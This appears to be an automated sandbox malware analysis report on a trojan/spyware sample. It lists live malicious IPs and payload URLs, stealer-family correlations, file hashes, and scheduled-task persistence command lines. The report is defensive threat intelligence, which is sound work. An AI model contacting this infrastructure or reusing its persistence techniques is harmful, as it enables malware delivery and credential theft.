https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000yX0-	file.exe, 00000000.00000002.2202852675.000000000055A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.76/15f649199f40275b/nss3.dllf	u5do.0.exe, 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.172.128.228	unknown	Russian Federation	50916	NADYMSS-ASRU	false
185.172.128.203	unknown	Russian Federation	50916	NADYMSS-ASRU	false
37.221.125.202	c.574859385.xyz	Lithuania	62416	PTSERVIDORPT	true
20.157.87.45	svc.iolo.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
195.181.163.196	iolo0.b-cdn.net	United Kingdom	60068	CDN77GB	false
185.172.128.76	unknown	Russian Federation	50916	NADYMSS-ASRU	true
176.97.76.106	note.padd.cn.com	United Kingdom	43658	INTRAFFIC-ASUA	false
13.249.105.199	dsepc5ud74wta.cloudfront.net	United States	16509	AMAZON-02US	false
185.172.128.59	unknown	Russian Federation	50916	NADYMSS-ASRU	false
45.130.41.108	monoblocked.com	Russian Federation	198610	BEGET-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432050
Start date and time:	2024-04-26 11:05:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	73
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@122/99@12/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 148 Number of non-executed functions: 235
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 23.193.120.112, 20.42.65.92
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, www.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, pastebin.com, westus2-2.in.applicationinsights.azure.com, fe3cr.delivery.mp.microsoft.com, clients2.googleusercontent.com, clients2.google.com, api3.check-data.xyz, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, service-domain.xyz, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 5756 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:05:56	API Interceptor	80x Sleep call for process: powershell.exe modified
11:06:22	API Interceptor	2x Sleep call for process: svchost.exe modified
11:06:25	API Interceptor	1x Sleep call for process: WMIC.exe modified
11:06:30	Task Scheduler	Run new task: biPxHmULFllsbMgnpt path: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe s>Wt /QQndidSCwP 385128 /S
11:06:32	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\il_Plugin_v1.lnk
11:06:34	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:06:38	API Interceptor	1x Sleep call for process: Install.exe modified
11:06:39	Task Scheduler	Run new task: yfARWRprRqUFWeTGf path: C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ySPgHoN.exe s>aV /WrJadidWC 385128 /S
11:06:41	API Interceptor	1x Sleep call for process: cmd.exe modified
11:06:55	Task Scheduler	Run new task: beuYBzgGTLbmn2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\pICeQFkDCDDquYVB\wsbIZuC.wsf^""

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.90	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=0
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	kOX6mvvEZv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	EvRwwa6vJW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	6wBnmIAQNW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
185.172.128.228	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.228/ping.php?substr=seven
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.228/ping.php?substr=two
	kOX6mvvEZv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	EvRwwa6vJW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	6wBnmIAQNW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
monoblocked.com	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	45.130.41.108
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	45.130.41.108
	5NlNJIHhTf.exe	Get hash	malicious	Unknown	Browse	45.130.41.108
	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	45.130.41.108
	SecuriteInfo.com.Win64.PWSX-gen.7949.23910.exe	Get hash	malicious	Glupteba	Browse	45.130.41.108
helsinki-dtc.com	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	Wj2H9uqRDZ.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
d1u0l9f6kr1di3.cloudfront.net	file.exe	Get hash	malicious	Neoreklami	Browse	108.138.128.126
	Wj2H9uqRDZ.exe	Get hash	malicious	Neoreklami	Browse	13.32.87.24
	file.exe	Get hash	malicious	Neoreklami	Browse	18.164.116.45
	file.exe	Get hash	malicious	Neoreklami	Browse	13.32.87.38
	file.exe	Get hash	malicious	Neoreklami	Browse	13.249.39.45
	file.exe	Get hash	malicious	Neoreklami	Browse	18.154.230.79
	file.exe	Get hash	malicious	Neoreklami	Browse	18.154.230.159
	file.exe	Get hash	malicious	Neoreklami	Browse	13.225.66.10
	file.exe	Get hash	malicious	Neoreklami	Browse	18.154.230.159
	install.exe	Get hash	malicious	Neoreklami	Browse	18.154.230.159
env-3936544.jcloud.kz	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.15
	Wj2H9uqRDZ.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.16
	CGVYlOv.wsf	Get hash	malicious	Unknown	Browse	185.22.66.16
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.16
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.16
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.15
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.98
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.224
	file.exe	Get hash	malicious	Neoreklami	Browse	185.22.66.157
	file.exe	Get hash	malicious	Neoreklami	Browse	194.39.67.209
iolo0.b-cdn.net	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	195.181.163.195
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	169.150.236.98
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	169.150.236.97
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.251
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.247
	kOX6mvvEZv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.246
	EvRwwa6vJW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.247
	6wBnmIAQNW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.246
	zLwT7vCojz.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	169.150.236.99
	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.93.1.244

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	3R18jv6iGv.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	YEnIrzZUUw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
NADYMSS-ASRU	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	3R18jv6iGv.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	YEnIrzZUUw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
NADYMSS-ASRU	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	3R18jv6iGv.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	YEnIrzZUUw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://ipfs.io/ipfs/QmTvMGRn6QMQAMwSucv8UUTX3cyS4DrLuUTMvDui8TsJNN	Get hash	malicious	Unknown	Browse	195.181.163.196
	https://deebmpapst.ordineproposal.top/	Get hash	malicious	Unknown	Browse	195.181.163.196
	https://notariaherreratoquero.es	Get hash	malicious	Unknown	Browse	195.181.163.196
	http://www.tbmuae.com/	Get hash	malicious	GRQ Scam	Browse	195.181.163.196
	https://springtail-lute-g4wp.squarespace.com/	Get hash	malicious	Unknown	Browse	195.181.163.196
	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	195.181.163.196
	http://ww1.lourdoueisienne.website/	Get hash	malicious	Unknown	Browse	195.181.163.196
	https://powerpointmicrosoftoffice.top/	Get hash	malicious	Unknown	Browse	195.181.163.196
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:d35aec95-f365-414c-8371-68e6d7d2ec41	Get hash	malicious	Unknown	Browse	195.181.163.196
	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	Get hash	malicious	HTMLPhisher	Browse	195.181.163.196
3b5074b1b5d032e5620f69f9f700ff0e	PONO6188.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	Payment details.exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	Docs.exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	PO#50124.exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	Statement of Account PDF.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	CHEMICAL SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	Payment.exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	SOA FOR APR 2024 PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	DHL_ES567436735845755676678877988975877.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	13.249.105.199 37.221.125.202 45.130.41.108
	PO-inv-CQV20(92315).exe	Get hash	malicious	AgentTesla	Browse	13.249.105.199 37.221.125.202 45.130.41.108
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Vidar	Browse	13.249.105.199
	BundleSweetIMSetup.exe	Get hash	malicious	Unknown	Browse	13.249.105.199
	DHL_ES567436735845755676678877988975877.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	13.249.105.199
	Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe	Get hash	malicious	GuLoader, Remcos	Browse	13.249.105.199
	ad.msi	Get hash	malicious	Latrodectus	Browse	13.249.105.199
	Document_a19_79b555791-28h97348k5477-3219g9.js	Get hash	malicious	Latrodectus	Browse	13.249.105.199
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	13.249.105.199
	ad.msi	Get hash	malicious	Latrodectus	Browse	13.249.105.199
	SecuriteInfo.com.MSExcel.CVE_2017_0199.DDOC.exploit.32374.20351.xlsx	Get hash	malicious	Unknown	Browse	13.249.105.199
	SecuriteInfo.com.Win32.Malware-gen.9746.16728.exe	Get hash	malicious	FormBook, GuLoader	Browse	13.249.105.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	3R18jv6iGv.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	YEnIrzZUUw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	3R18jv6iGv.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	YEnIrzZUUw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse

Created / dropped Files

C:\$Recycle.Bin\S-1-5-18\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\ProgramData\BFIIEHJDBKJKECBFHDGHJKEHIJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\ProgramData\DQOFHVHTMG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
